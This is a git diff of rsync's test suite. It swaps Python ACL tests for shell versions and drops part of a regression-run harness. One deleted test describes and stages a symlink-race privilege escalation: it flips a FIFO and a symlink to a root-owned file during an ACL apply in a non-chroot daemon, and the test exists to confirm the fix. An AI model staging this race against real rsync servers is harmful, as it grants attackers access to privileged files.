\"FLAKY\", \"ABETTER\": \"BETTER\",\n-             \"ALLOW\": \"ALLOW\", \"DIFF\": \"DIFF \", \"TIMEOUT\": \"TIME \", \"ERROR\": \"ERROR\"}\n-    counts = {k: 0 for k in LABEL}\n-    done = [0]\n-    rec_lock = threading.Lock()\n-\n-    def progress(total=None):\n-        sys.stdout.write(f\"test {done[0]}{('/' + str(total)) if total else ''}\"\n-                         f\"{('  ' + str(counts['DIFF']) + ' DIFF') if counts['DIFF'] else ''}\\r\")\n-        sys.stdout.flush()\n-\n-    def record(s, status, info, total=None):\n-        if isinstance(info, str):\n-            info = [info]\n-        # a subprocess timeout surfaces as a DIFF whose err carries the marker;\n-        # promote it to its own TIMEOUT class so it's easy to triage.\n-        if status == \"DIFF\" and any(\"[abdiff: TIMEOUT]\" in ln for ln in info):\n-            status = \"TIMEOUT\"\n-        with rec_lock:\n-            counts[status] = counts.get(status, 0) + 1\n-            done[0] += 1\n-            if status not in (\"OK\", \"SKIP\"):   # a finding: print it + log it\n-                sys.stdout.write(\"\\r\")          # clear the progress line\n-                print(f\"{LABEL.get(status, status)} {s.name}  [#{done[0]}]\")\n-                for line in info:\n-                    print(line)\n-                suffix = (\" *** REGRESSION CANDIDATE ***\"\n-                          if status in (\"DIFF\", \"TIMEOUT\", \"ERROR\") else \"\")\n-                for f in (runlog, logf):\n-                    f.write(f\"\\n{status} {s.name}  opts: {ostr(s)}{suffix}\\n\")\n-                    for line in info:\n-                        f.write(line + \"\\n\")\n-                    f.flush()\n-            progress(total)\n-\n-    def worker(s):\n-        try:\n-            return run_scenario(s, workroot)\n-        except Exception as ex:        # never let one scenario kill the pool\n-            return (\"ERROR\", [f\"  exception: {ex!r}\"])\n-\n-    def summary_line(prefix):\n-        return (f\"{prefix} {counts['OK']} OK, {counts['SKIP']} skipped, \"\n-                f\"{counts['FLAKY']} FLAKY, {counts['ALLOW']} ALLOW (intentional), \"\n-                f\"{counts['ABETTER']} BETTER (A>B), {counts['TIMEOUT']} TIMEOUT, \"\n-                f\"{counts['ERROR']} ERROR, {counts['DIFF']} DIFF \"\n-                f\"(regression candidates) ===\")\n-\n-    deadline = (time.time() + args.timelimit) if args.timelimit else None\n-    if deadline:\n-        print(f\"time limit: {args.timelimit:.0f}s\\n\")\n-\n-    if not args.loop:\n-        total = len(scns)\n-        print(f\"scenarios: {total}\\n\")\n-        with ThreadPoolExecutor(max_workers=args.jobs) as ex:\n-            futs = {ex.submit(worker, s): s for s in scns}\n-            for fut in as_completed(futs):\n-                status, info = fut.result()\n-                record(futs[fut], status, info, total=total)\n-                if deadline and time.time() > deadline:\n-                    print(\"\\n[time limit reached -- cancelling pending scenarios]\")\n-                    for p in futs:\n-                        p.cancel()\n-                    break\n-        summary = summary_line(\"===\")\n-        print(\"\\n\" + summary)\n-        runlog.write(\"\\n\" + summary + \"\\n\")\n-        logf.write(summary + \"\\n\")\n-        runlog.close()\n-        logf.close()\n-        return 1 if (counts['DIFF'] or counts['TIMEOUT'] or counts['ERROR']) else 0\n-\n-    # --loop: run the fixed sweeps first, then an endless mixed stream of new\n-    # randomized + systematic-combo scenarios, keeping the pool full.\n-    rnd = random.Random(args.seed)\n-    seen = set()\n-    mixed = _mixed_scenarios(rnd, seen)\n-    fixed = iter(scns)\n-\n-    def next_scn():\n-        try:\n-            return next(fixed)\n-        except StopIteration:\n-            return next(mixed)\n-\n-    ex = ThreadPoolExecutor(max_workers=args.jobs)\n-    inflight = {}\n-\n-    def submit_one():\n-        s = next_scn()\n-        inflight[ex.submit(worker, s)] = s\n-\n-    try:\n-        for _ in range(args.jobs * 2):\n-            submit_one()\n-        while True:\n-            fdone, _pending = wait(list(inflight), return_when=FIRST_COMPLETED)\n-            for fut in fdone:\n-                s = inflight.pop(fut)\n-                status, info = fut.result()\n-                record(s, status, info)\n-                if not (deadline and time.time() > deadline):\n-                    submit_one()\n-            if deadline and time.time() > deadline and not inflight:\n-                print(\"\\n[time limit reached -- writing summary]\")\n-                break\n-    except KeyboardInterrupt:\n-        print(\"\\n[interrupted -- cancelling pending, writing summary]\")\n-        ex.shutdown(wait=False, cancel_futures=True)\n-    finally:\n-        summary = summary_line(\"=== loop stopped:\")\n-        print(\"\\n\" + summary)\n-        runlog.write(\"\\n\" + summary + \"\\n\")\n-        runlog.flush()\n-        logf.write(summary + \"\\n\")\n-        logf.flush()\n-        runlog.close()\n-        logf.close()\n-    return 1 if counts['DIFF'] else 0\n-\n-\n-if __name__ == \"__main__\":\n-    sys.exit(main())\ndiff --git a/testsuite/acl-symlink-race_test.py b/testsuite/acl-symlink-race_test.py\ndeleted file mode 100644\nindex 039888c..0000000\n--- a/testsuite/acl-symlink-race_test.py\n+++ /dev/null\n@@ -1,169 +0,0 @@\n-#!/usr/bin/env python3\n-# Symlink-race (TOCTOU) LPE in the receiver's ACL-apply path.\n-#\n-# rsync applies a received ACL with the path-based sys_acl_set_file() ->\n-# acl_set_file(), which follows symlinks at the final component (POSIX has no\n-# AT_SYMLINK_NOFOLLOW for ACLs) and -- unlike do_chmod_at()/do_lchown_at() --\n-# has no fd-held/secure wrapper. In a \"use chroot = no\" daemon there is a\n-# window between do_mknod_at() creating a FIFO and set_acl() applying its ACL.\n-# A local attacker who flips the leaf fifo <-> symlink->privileged-file in that\n-# window gets the source FIFO's ACL written to the symlink target: an LPE, since\n-# the attacker chooses the ACL (e.g. grant themselves rwx on a root-owned file).\n-#\n-# The source FIFO carries a marker entry user:MARKER_UID:rwx; the test asserts\n-# the outside privileged sentinel never gains that entry no matter how the race\n-# lands. RED on the unhardened tree; GREEN once the ACL set goes through a held\n-# fd that can't be redirected by a symlink.\n-\n-import os\n-import platform\n-import shutil\n-import subprocess\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, race_budget,\n-    forced_protocol, get_rootgid, get_rootuid, get_testuid,\n-    rmtree, run_rsync, rsync_argv, start_path_flipper, stop_flipper,\n-    start_test_daemon, test_fail, test_skipped,\n-)\n-\n-DAEMON_PORT = 12896\n-MARKER_UID = 60001          # distinctive; must not appear in the baseline ACL\n-\n-\n-# ---- gates -----------------------------------------------------------------\n-if platform.system() != 'Linux':\n-    test_skipped(\"POSIX ACL race test is Linux-only (setfacl/getfacl semantics)\")\n-if not shutil.which('setfacl') or not shutil.which('getfacl'):\n-    test_skipped(\"setfacl/getfacl not available\")\n-# Protocol gate FIRST: this test transfers an ACL over the wire, which requires\n-# protocol 30+ regardless of the host's ACL capability.  It MUST precede the\n-# ACL_at check below: on a no-xattrat box that check short-circuits to a PASS,\n-# so if it ran first a proto-29 run would PASS where an xattrat box SKIPs --\n-# diverging from the kernel-independent RSYNC_EXPECT_SKIPPED check29 list and\n-# failing CI on the no-xattrat Ubuntu runners.\n-proto = forced_protocol()\n-if proto is not None and proto < 30:\n-    test_skipped(f\"ACL transfer requires protocol 30+ (negotiated {proto})\")\n-vv = run_rsync('-VV', check=True, capture_output=True)\n-if '\"ACLs\": true' not in vv.stdout:\n-    test_skipped(\"rsync built without ACL support\")\n-if '\"ACL_at\": true' not in vv.stdout:\n-    # No race-safe ACL primitive on this kernel (no *xattrat, pre-6.13 / BSD):\n-    # by project policy a received ACL is then applied via the path so --acls\n-    # keeps working, which re-opens this race.  The race is an accepted residual\n-    # on platforms that cannot offer the secure primitive, so there is nothing\n-    # to assert here.  We PASS (rather than skip) so the proto-30+ skip set stays\n-    # kernel-independent (a no-xattrat and an xattrat box behave the same here).\n-    print(\"acl-symlink-race: no race-safe ACL primitive on this platform; \"\n-          \"--acls is functional-but-racy here by policy (race not asserted)\")\n-    raise SystemExit(0)\n-\n-\n-def setfacl(spec, path):\n-    if subprocess.run(['setfacl', '-m', spec, str(path)]).returncode != 0:\n-        test_skipped(\"filesystem has ACLs disabled (setfacl failed)\")\n-\n-\n-def getfacl(path) -> str:\n-    # Plain getfacl only: the suite runs with POSIXLY_CORRECT=1, under which\n-    # getfacl rejects -c/-E and accepts just the file argument.\n-    return subprocess.run(['getfacl', str(path)],\n-                          capture_output=True, text=True).stdout\n-\n-\n-def facl_has_marker(path) -> bool:\n-    return f'user:{MARKER_UID}:' in getfacl(path)\n-\n-\n-# ---- layout ----------------------------------------------------------------\n-mod = SCRATCHDIR / 'module'\n-outside = SCRATCHDIR / 'outside'\n-src = SCRATCHDIR / 'src_files'\n-conf = SCRATCHDIR / 'test-rsyncd.conf'\n-\n-for d in (mod, outside, src):\n-    rmtree(d)\n-    d.mkdir(parents=True)\n-\n-# The privileged file the attacker wants to grant themselves access to.\n-priv = outside / 'privileged'\n-priv.write_text(\"ROOT_OWNED_SECRET\\n\")\n-os.chmod(priv, 0o600)\n-if facl_has_marker(priv):\n-    test_fail(\"baseline outside file already carries the marker ACL\")\n-\n-# Source FIFO carrying the attacker-chosen marker ACL.\n-victim_src = src / 'victim'\n-os.mkfifo(victim_src, 0o600)\n-setfacl(f'user:{MARKER_UID}:rwx', victim_src)\n-\n-# Attacker's symlink inside the module, pointing at the privileged file.\n-os.symlink(str(priv), mod / '.evil')\n-\n-my_uid = get_testuid()\n-root_uid = get_rootuid()\n-root_gid = get_rootgid()\n-uid_line = f\"uid = {root_uid}\"\n-gid_line = f\"gid = {root_gid}\"\n-if my_uid != root_uid:\n-    uid_line = '#' + uid_line\n-    gid_line = '#' + gid_line\n-\n-conf.write_text(f\"\"\"\\\n-use chroot = no\n-{uid_line}\n-{gid_line}\n-log file = {SCRATCHDIR}/rsyncd.log\n-[upload]\n-    path = {mod}\n-    use chroot = no\n-    read only = no\n-\"\"\")\n-\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def push():\n-    subprocess.run(\n-        rsync_argv('-rtpA', '--specials', f'{src}/', f'{url}upload/'),\n-        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,\n-    )\n-\n-\n-# ---- positive control: a normal push carries the FIFO's ACL into the module,\n-# so the race below isn't vacuous (ACLs really are being applied). ------------\n-push()\n-landed = mod / 'victim'\n-if not facl_has_marker(landed):\n-    test_fail(\"positive control: a normal push did not apply the FIFO's ACL in \"\n-              \"the module -- the daemon isn't preserving special-file ACLs, so \"\n-              \"the race scenario would be vacuous\")\n-# Clean the control artifact so the flipper starts from a known state.  It is a\n-# FIFO: use unlink, not rmtree -- shutil.rmtree on a pre-3.11 Python does\n-# os.open(path, O_RDONLY) on the target, which blocks forever on a writerless\n-# FIFO (the daemon-side hang seen on Ubuntu 22.04's Python 3.10).\n-landed.unlink()\n-\n-\n-# ---- the race --------------------------------------------------------------\n-# Flip the destination leaf between the FIFO rsync creates and the symlink to\n-# the privileged file. If set_acl() resolves the leaf while it is the symlink,\n-# the marker ACL lands on the privileged file.\n-flip = start_path_flipper(mod / 'victim', mod / '.evil')\n-deadline = time.monotonic() + race_budget(10.0)\n-try:\n-    while time.monotonic() < deadline:\n-        push()\n-        if facl_has_marker(priv):\n-            test_fail(\n-                f\"ACL-set symlink race: the FIFO's user:{MARKER_UID}:rwx ACL was \"\n-                \"applied to the outside privileged file -- the receiver's \"\n-                \"set_acl() followed the leaf symlink (LPE). \"\n-                f\"getfacl {priv}:\\n\" + getfacl(priv)\n-            )\n-finally:\n-    stop_flipper(flip)\n-\n-# No escape within the race budget.\ndiff --git a/testsuite/acls-default.test b/testsuite/acls-default.test\nnew file mode 100644\nindex 0000000..d8fba7f\n--- /dev/null\n+++ b/testsuite/acls-default.test\n@@ -0,0 +1,66 @@\n+#!/bin/sh\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that rsync obeys default ACLs. -- Matt McCutchen\n+\n+. $suitedir/rsync.fns\n+\n+$RSYNC -VV | grep '\"ACLs\": true' >/dev/null || test_skipped \"Rsync is configured without ACL support\"\n+\n+case \"$setfacl_nodef\" in\n+true) test_skipped \"I don't know how to use your setfacl command\" ;;\n+*-k*) opts='-dm u::7,g::5,o:5' ;;\n+*) opts='-m d:u::7,d:g::5,d:o:5' ;;\n+esac\n+setfacl $opts \"$scratchdir\" || test_skipped \"Your filesystem has ACLs disabled\"\n+\n+# Call as: testit <dirname> <default-acl> <file-expected> <program-expected>\n+testit() {\n+    todir=\"$scratchdir/$1\"\n+    mkdir \"$todir\"\n+    $setfacl_nodef \"$todir\"\n+    if [ -n \"$2\" ]; then\n+\tcase \"$setfacl_nodef\" in\n+\t*-k*) opts=\"-dm $2\" ;;\n+\t*) opts=\"-m `echo $2 | sed 's/\\([ugom]:\\)/d:\\1/g'`\"\n+\tesac\n+\tsetfacl $opts \"$todir\"\n+    fi\n+    # Make sure we obey ACLs when creating a directory to hold multiple transferred files,\n+    # even though the directory itself is outside the transfer\n+    $RSYNC -rvv \"$scratchdir/dir\" \"$scratchdir/file\" \"$scratchdir/program\" \"$todir/to/\"\n+    check_perms \"$todir/to\" $4 \"Target $1\"\n+    check_perms \"$todir/to/dir\" $4 \"Target $1\"\n+    check_perms \"$todir/to/file\" $3 \"Target $1\"\n+    check_perms \"$todir/to/program\" $4 \"Target $1\"\n+    # Make sure get_local_name doesn't mess us up when transferring only one file\n+    $RSYNC -rvv \"$scratchdir/file\" \"$todir/to/anotherfile\"\n+    check_perms \"$todir/to/anotherfile\" $3 \"Target $1\"\n+    # Make sure we obey default ACLs when not transferring a regular file\n+    $RSYNC -rvv \"$scratchdir/dir/\" \"$todir/to/anotherdir/\"\n+    check_perms \"$todir/to/anotherdir\" $4 \"Target $1\"\n+}\n+\n+mkdir \"$scratchdir/dir\"\n+echo \"File!\" >\"$scratchdir/file\"\n+echo \"#!/bin/sh\" >\"$scratchdir/program\"\n+chmod 777 \"$scratchdir/dir\"\n+chmod 666 \"$scratchdir/file\"\n+chmod 777 \"$scratchdir/program\"\n+\n+# Test some target directories\n+umask 0077\n+testit da777 u::7,g::7,o:7 rw-rw-rw- rwxrwxrwx\n+testit da775 u::7,g::7,o:5 rw-rw-r-- rwxrwxr-x\n+testit da750 u::7,g::5,o:0 rw-r----- rwxr-x---\n+testit da750mask u::7,u:0:7,g::7,m:5,o:0 rw-r----- rwxr-x---\n+testit noda1 '' rw------- rwx------\n+umask 0000\n+testit noda2 '' rw-rw-rw- rwxrwxrwx\n+umask 0022\n+testit noda3 '' rw-r--r-- rwxr-xr-x\n+\n+# Hooray\n+exit 0\ndiff --git a/testsuite/acls-default_test.py b/testsuite/acls-default_test.py\ndeleted file mode 100644\nindex e780de6..0000000\n--- a/testsuite/acls-default_test.py\n+++ /dev/null\n@@ -1,98 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/acls-default.test.\n-#\n-# Test that rsync obeys POSIX default ACLs on the destination's parent\n-# directory when creating the transfer's container directory, even\n-# though that parent is outside the transfer itself.\n-\n-import os\n-import re\n-import shlex\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR,\n-    check_perms, run_rsync, test_fail, test_skipped,\n-)\n-\n-\n-vv = run_rsync('-VV', check=True, capture_output=True)\n-if '\"ACLs\": true' not in vv.stdout:\n-    test_skipped(\"Rsync is configured without ACL support\")\n-\n-setfacl_nodef = os.environ.get('setfacl_nodef', 'true')\n-if setfacl_nodef == 'true':\n-    test_skipped(\"I don't know how to use your setfacl command\")\n-\n-if '-k' in setfacl_nodef.split():\n-    seed_opts = ['-dm', 'u::7,g::5,o:5']\n-else:\n-    seed_opts = ['-m', 'd:u::7,d:g::5,d:o:5']\n-\n-# Seed the scratch dir with a default ACL so the upcoming testit() runs\n-# inherit a known-base; if setfacl rejects this the FS doesn't have ACLs.\n-proc = subprocess.run(['setfacl', *seed_opts, str(SCRATCHDIR)])\n-if proc.returncode != 0:\n-    test_skipped(\"Your filesystem has ACLs disabled\")\n-\n-\n-def testit(dirname, default_acl, file_expected, prog_expected):\n-    \"\"\"Set a default ACL on a destination parent dir, then verify that\n-    a transfer into a fresh subdir picks up the inherited perms.\"\"\"\n-    todir = SCRATCHDIR / dirname\n-    todir.mkdir()\n-    # Clear any inherited default ACL first -- and confirm it succeeded, so the\n-    # no-default-ACL cases can't silently inherit the scratch dir's seeded\n-    # default ACL and test the wrong base state.\n-    if subprocess.run(shlex.split(setfacl_nodef) + [str(todir)]).returncode != 0:\n-        test_fail(f\"{dirname}: clearing the inherited default ACL failed\")\n-    if default_acl:\n-        if '-k' in setfacl_nodef.split():\n-            opts = ['-dm', default_acl]\n-        else:\n-            # Each \"u:/g:/o:/m:\" prefix becomes \"d:u:/d:g:/d:o:/d:m:\".\n-            translated = re.sub(r'([ugom]:)', r'd:\\1', default_acl)\n-            opts = ['-m', translated]\n-        subprocess.run(['setfacl', *opts, str(todir)], check=True)\n-\n-    run_rsync('-rvv',\n-              str(SCRATCHDIR / 'dir'),\n-              str(SCRATCHDIR / 'file'),\n-              str(SCRATCHDIR / 'program'),\n-              f'{todir}/to/')\n-\n-    check_perms(todir / 'to', prog_expected)\n-    check_perms(todir / 'to' / 'dir', prog_expected)\n-    check_perms(todir / 'to' / 'file', file_expected)\n-    check_perms(todir / 'to' / 'program', prog_expected)\n-\n-    # get_local_name shouldn't mess up a single-file transfer.\n-    run_rsync('-rvv',\n-              str(SCRATCHDIR / 'file'),\n-              f'{todir}/to/anotherfile')\n-    check_perms(todir / 'to' / 'anotherfile', file_expected)\n-\n-    # And the no-regular-file case (sole-dir transfer).\n-    run_rsync('-rvv',\n-              f'{SCRATCHDIR / \"dir\"}/',\n-              f'{todir}/to/anotherdir/')\n-    check_perms(todir / 'to' / 'anotherdir', prog_expected)\n-\n-\n-(SCRATCHDIR / 'dir').mkdir()\n-(SCRATCHDIR / 'file').write_text(\"File!\\n\")\n-(SCRATCHDIR / 'program').write_text(\"#!/bin/sh\\n\")\n-os.chmod(SCRATCHDIR / 'dir', 0o777)\n-os.chmod(SCRATCHDIR / 'file', 0o666)\n-os.chmod(SCRATCHDIR / 'program', 0o777)\n-\n-os.umask(0o077)\n-testit('da777', 'u::7,g::7,o:7', 'rw-rw-rw-', 'rwxrwxrwx')\n-testit('da775', 'u::7,g::7,o:5', 'rw-rw-r--', 'rwxrwxr-x')\n-testit('da750', 'u::7,g::5,o:0', 'rw-r-----', 'rwxr-x---')\n-testit('da750mask', 'u::7,u:0:7,g::7,m:5,o:0', 'rw-r-----', 'rwxr-x---')\n-testit('noda1', '', 'rw-------', 'rwx------')\n-os.umask(0o000)\n-testit('noda2', '', 'rw-rw-rw-', 'rwxrwxrwx')\n-os.umask(0o022)\n-testit('noda3', '', 'rw-r--r--', 'rwxr-xr-x')\ndiff --git a/testsuite/acls-depth_test.py b/testsuite/acls-depth_test.py\ndeleted file mode 100644\nindex 308be76..0000000\n--- a/testsuite/acls-depth_test.py\n+++ /dev/null\n@@ -1,63 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Coverage of -A (acls) at depth.\n-\n-acls_test.py exercises a shallow tree; this companion sets a distinctive POSIX\n-ACL on a file AND a directory at every level of a >=3-deep tree and checks that\n--A reproduces them (the ACL is applied per entry, on a name whose parent chain\n-the resolver restructure rewrites).\n-\"\"\"\n-\n-import os\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, TODIR,\n-    make_tree, rmtree, run_rsync, test_fail, test_skipped,\n-    walk_dirs, walk_files,\n-)\n-\n-vv = run_rsync('-VV', check=True, capture_output=True).stdout\n-if '\"ACLs\": true' not in vv:\n-    test_skipped(\"rsync built without ACL support\")\n-if not (shutil.which('setfacl') and shutil.which('getfacl')):\n-    test_skipped(\"setfacl/getfacl not available\")\n-\n-src = FROMDIR\n-rmtree(src)\n-rmtree(TODIR)\n-make_tree(src, depth=3)\n-\n-entries = [p.relative_to(src) for p in (walk_dirs(src) + walk_files(src))]\n-entries.sort()\n-\n-# Grant uid 0 an explicit r-x ACL on every entry (valid for a non-root owner to\n-# set on its own files; needs no extra accounts).\n-for rel in entries:\n-    r = subprocess.run(['setfacl', '-m', 'u:0:r-x', str(src / rel)])\n-    if r.returncode != 0:\n-        test_skipped(\"filesystem does not support setting ACLs\")\n-\n-\n-def getfacl(path):\n-    # Strip the comment header (# file:/# owner:/# group:) so the comparison\n-    # is path-independent; this getfacl doesn't accept the GNU -c flag.\n-    out = subprocess.check_output(['getfacl', str(path)], text=True,\n-                                  stderr=subprocess.DEVNULL)\n-    return ''.join(ln for ln in out.splitlines(keepends=True)\n-                   if not ln.startswith('#'))\n-\n-\n-run_rsync('-aA', f'{src}/', f'{TODIR}/')\n-\n-for rel in entries:\n-    want = getfacl(src / rel)\n-    got = getfacl(TODIR / rel)\n-    # getfacl renders uid 0 as \"root\"; accept either spelling.\n-    if 'user:root:r-x' not in got and 'user:0:r-x' not in got:\n-        test_fail(f\"-A did not reproduce the named-user ACL on {rel}:\\n{got}\")\n-    if want != got:\n-        test_fail(f\"-A: ACL of {rel} differs\\n--- source ---\\n{want}\"\n-                  f\"--- dest ---\\n{got}\")\n-\n-print(\"acls-depth: -A reproduced a POSIX ACL on every entry at depth\")\ndiff --git a/testsuite/acls-unpinnable_test.py b/testsuite/acls-unpinnable_test.py\ndeleted file mode 100644\nindex 65e4145..0000000\n--- a/testsuite/acls-unpinnable_test.py\n+++ /dev/null\n@@ -1,86 +0,0 @@\n-#!/usr/bin/env python3\n-# --acls must update a destination ACL even when the destination entry cannot be\n-# pinned with O_RDONLY|O_NOFOLLOW -- e.g. a pre-existing no-owner-read (0300)\n-# directory, whose held_fd open fails for a non-root receiver.\n-#\n-# The receiver's hardened ACL path applies via a held fd, or via the *xattrat\n-# syscalls (dirfd+leaf, AT_SYMLINK_NOFOLLOW) on Linux 6.13+.  Where neither is\n-# available -- no held fd (un-pinnable entry) AND no *xattrat (pre-6.13 / BSD) --\n-# rsync falls back to the path-based sys_acl_set_file() so --acls stays\n-# functional (project policy: prefer functionality where the OS cannot offer the\n-# race-safe primitive; the parent-symlink race is an accepted residual there,\n-# and a current kernel takes the secure xattrat path).\n-#\n-# An earlier revision skipped that fallback with a warning + success, silently\n-# leaving the destination ACL STALE -- so a revoked/changed source ACL did not\n-# propagate while rsync reported success.  This asserts the new ACL lands and the\n-# stale entry is gone.  It exercises the path-based fallback when run non-root on\n-# a no-*xattrat kernel; elsewhere it goes through the held-fd / xattrat path and\n-# still asserts the same functional outcome.\n-\n-import os\n-import platform\n-import shutil\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, forced_protocol, rmtree, run_rsync, test_fail, test_skipped,\n-)\n-\n-NEW_UID = 60002          # the source ACL grant that must propagate\n-STALE_UID = 60009        # a different grant pre-seeded on the dest; must be gone\n-\n-if platform.system() != 'Linux':\n-    test_skipped(\"POSIX ACL test is Linux-only (setfacl/getfacl semantics)\")\n-if not shutil.which('setfacl') or not shutil.which('getfacl'):\n-    test_skipped(\"setfacl/getfacl not available\")\n-if '\"ACLs\": true' not in run_rsync('-VV', check=True, capture_output=True).stdout:\n-    test_skipped(\"rsync built without ACL support\")\n-proto = forced_protocol()\n-if proto is not None and proto < 30:\n-    test_skipped(f\"ACL transfer requires protocol 30+ (negotiated {proto})\")\n-\n-\n-def setfacl(spec, path):\n-    if subprocess.run(['setfacl', '-m', spec, str(path)]).returncode != 0:\n-        test_skipped(\"filesystem has ACLs disabled (setfacl failed)\")\n-\n-\n-def getfacl(path) -> str:\n-    # POSIXLY_CORRECT in the suite: plain getfacl only (no -c/-E).\n-    return subprocess.run(['getfacl', str(path)],\n-                          capture_output=True, text=True).stdout\n-\n-\n-base = SCRATCHDIR / 'acls-unpinnable'\n-src = base / 'src'\n-dest = base / 'dest'\n-rmtree(base)\n-(src / 'dropbox').mkdir(parents=True)\n-(src / 'top.txt').write_text('top\\n')\n-(dest / 'dropbox').mkdir(parents=True)\n-\n-# Source: the grant that must propagate.  Dest: a pre-existing 0300 directory\n-# carrying a *different* (stale) grant, so the sync must change its ACL -- and\n-# the dir is un-pinnable (no owner read) for a non-root receiver at apply time.\n-setfacl(f'user:{NEW_UID}:rwx', src / 'dropbox')\n-os.chmod(src / 'dropbox', 0o300)\n-setfacl(f'user:{STALE_UID}:rwx', dest / 'dropbox')\n-os.chmod(dest / 'dropbox', 0o300)\n-\n-# The 0300 dirs are unreadable, so listing them errors (exit 23); the directory\n-# entry + its ACL still transfer, which is what we assert.  Accept 0 or 23.\n-proc = run_rsync('-aA', f'{src}/', f'{dest}/', check=False, capture_output=True)\n-if proc.returncode not in (0, 23):\n-    test_fail(f\"rsync exited {proc.returncode}:\\n{proc.stderr}\")\n-\n-acl = getfacl(dest / 'dropbox')\n-if f'user:{NEW_UID}:' not in acl:\n-    test_fail(\"--acls did not apply the source ACL to the un-pinnable (0300) \"\n-              f\"destination directory (stale/missing ACL); getfacl:\\n{acl}\")\n-if f'user:{STALE_UID}:' in acl:\n-    test_fail(\"--acls left the stale destination ACL entry in place on the \"\n-              f\"un-pinnable (0300) directory -- a revocation did not propagate; \"\n-              f\"getfacl:\\n{acl}\")\n-\n-print(\"acls-unpinnable: --acls updates the ACL of a no-owner-read (0300) dir\")\ndiff --git a/testsuite/acls.test b/testsuite/acls.test\nnew file mode 100644\nindex 0000000..693da66\n--- /dev/null\n+++ b/testsuite/acls.test\n@@ -0,0 +1,62 @@\n+#!/bin/sh\n+\n+# This program is distributable under the terms of the GNU GPL (see\n+# COPYING).\n+\n+# Test that rsync handles basic ACL preservation.\n+\n+. $suitedir/rsync.fns\n+\n+$RSYNC -VV | grep '\"ACLs\": true' >/dev/null || test_skipped \"Rsync is configured without ACL support\"\n+\n+makepath \"$fromdir/foo\"\n+echo something >\"$fromdir/file1\"\n+echo else >\"$fromdir/file2\"\n+\n+files='foo file1 file2'\n+\n+case \"$setfacl_nodef\" in\n+true)\n+    if ! chmod --help 2>&1 | grep -F +a >/dev/null; then\n+        test_skipped \"I don't know how to use setfacl or chmod for ACLs\"\n+    fi\n+    chmod +a \"root allow read,write,execute\" \"$fromdir/foo\" || test_skipped \"Your filesystem has ACLs disabled\"\n+    chmod +a \"root allow read,execute\" \"$fromdir/file1\"\n+    chmod +a \"admin allow read\" \"$fromdir/file1\"\n+    chmod +a \"daemon allow read,write\" \"$fromdir/file1\"\n+    chmod +a \"root allow read,execute\" \"$fromdir/file2\"\n+\n+    see_acls() {\n+        ls -le \"${@}\"\n+    }\n+    ;;\n+*)\n+    setfacl -m u:0:7 \"$fromdir/foo\" || test_skipped \"Your filesystem has ACLs disabled\"\n+    setfacl -m g:1:5 \"$fromdir/foo\"\n+    setfacl -m g:2:1 \"$fromdir/foo\"\n+    setfacl -m g:0:7 \"$fromdir/foo\"\n+    setfacl -m u:2:1 \"$fromdir/foo\"\n+    setfacl -m u:1:5 \"$fromdir/foo\"\n+\n+    setfacl -m u:0:5 \"$fromdir/file1\"\n+    setfacl -m g:0:4 \"$fromdir/file1\"\n+    setfacl -m u:1:6 \"$fromdir/file1\"\n+\n+    setfacl -m u:0:5 \"$fromdir/file2\"\n+\n+    see_acls() {\n+        getfacl \"${@}\"\n+    }\n+    ;;\n+esac\n+\n+cd \"$fromdir\"\n+$RSYNC -avvA $files \"$todir/\"\n+\n+see_acls $files >\"$scratchdir/acls.txt\"\n+\n+cd \"$todir\"\n+see_acls $files | diff $diffopt \"$scratchdir/acls.txt\" -\n+\n+# The script would have aborted on error, so getting here means we've won.\n+exit 0\ndiff --git a/testsuite/acls_test.py b/testsuite/acls_test.py\ndeleted file mode 100644\nindex c24d7b0..0000000\n--- a/testsuite/acls_test.py\n+++ /dev/null\n@@ -1,93 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/acls.test.\n-#\n-# Test that rsync -A preserves POSIX ACLs across a transfer. Skips on\n-# binaries built without ACL support, on filesystems with ACLs disabled,\n-# and on hosts that lack both setfacl(1) and a chmod that understands \"+a\".\n-\n-import os\n-import platform\n-import subprocess\n-\n-from rsyncfns import FROMDIR, SCRATCHDIR, TODIR, makepath, run_rsync, test_fail, test_skipped\n-\n-\n-vv = run_rsync('-VV', check=True, capture_output=True)\n-if '\"ACLs\": true' not in vv.stdout:\n-    test_skipped(\"Rsync is configured without ACL support\")\n-\n-makepath(FROMDIR / 'foo')\n-(FROMDIR / 'file1').write_text(\"something\\n\")\n-(FROMDIR / 'file2').write_text(\"else\\n\")\n-\n-files = ['foo', 'file1', 'file2']\n-\n-# Decide which ACL command surface to use. Mirrors the shell test's\n-# branching on $setfacl_nodef (set by runtests.py).\n-setfacl_nodef = os.environ.get('setfacl_nodef', 'true')\n-\n-\n-def _chmod_plus_a_supported() -> bool:\n-    \"\"\"macOS-style: chmod +a 'user allow ...'.\"\"\"\n-    out = subprocess.run(['chmod', '--help'], capture_output=True, text=True)\n-    return '+a' in (out.stdout + out.stderr)\n-\n-\n-use_chmod_plus_a = setfacl_nodef == 'true' and _chmod_plus_a_supported()\n-\n-if setfacl_nodef == 'true' and not use_chmod_plus_a:\n-    test_skipped(\"I don't know how to use setfacl or chmod for ACLs\")\n-\n-\n-def _setfacl(*args) -> int:\n-    return subprocess.run(['setfacl', *args]).returncode\n-\n-\n-def _chmod_acl(*args) -> int:\n-    return subprocess.run(['chmod', *args]).returncode\n-\n-\n-if use_chmod_plus_a:\n-    if _chmod_acl('+a', 'root allow read,write,execute',\n-                  str(FROMDIR / 'foo')) != 0:\n-        test_skipped(\"Your filesystem has ACLs disabled\")\n-    _chmod_acl('+a', 'root allow read,execute', str(FROMDIR / 'file1'))\n-    _chmod_acl('+a', 'admin allow read', str(FROMDIR / 'file1'))\n-    _chmod_acl('+a', 'daemon allow read,write', str(FROMDIR / 'file1'))\n-    _chmod_acl('+a', 'root allow read,execute', str(FROMDIR / 'file2'))\n-\n-    def see_acls(paths):\n-        return subprocess.check_output(['ls', '-le', *paths], text=True)\n-else:\n-    if _setfacl('-m', 'u:0:7', str(FROMDIR / 'foo')) != 